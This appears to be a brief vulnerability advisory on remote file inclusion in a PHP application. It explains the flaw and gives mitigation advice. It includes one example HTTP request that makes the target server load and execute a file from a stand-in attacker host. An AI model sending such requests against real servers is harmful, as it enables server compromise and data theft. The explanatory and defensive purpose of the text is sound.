How the Exploit Works

The vulnerability stems from the improper control of filenames for the include/require statement in the PHP program. An attacker can manipulate the filesystem references in PHP applications, causing the application to include a remote file that contains malicious code. This file executes on the server, offering the attacker a chance to compromise the system or leak data.

Conceptual Example Code

Here is a
conceptual
example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker manipulates the “file” parameter to include a remote file (malicious_file.txt) hosted on their server (attacker.com). When the request is processed, the server fetches and executes the malicious code contained in malicious_file.txt.

Mitigation

It is advised to apply the vendor-provided patch as soon as possible. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the risk by identifying and blocking attempts to exploit this vulnerability.
